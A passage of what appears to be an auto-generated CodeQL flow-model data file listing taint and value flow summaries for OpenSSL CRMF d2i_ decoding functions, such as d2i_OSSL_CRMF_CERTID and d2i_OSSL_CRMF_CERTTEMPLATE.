"", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER 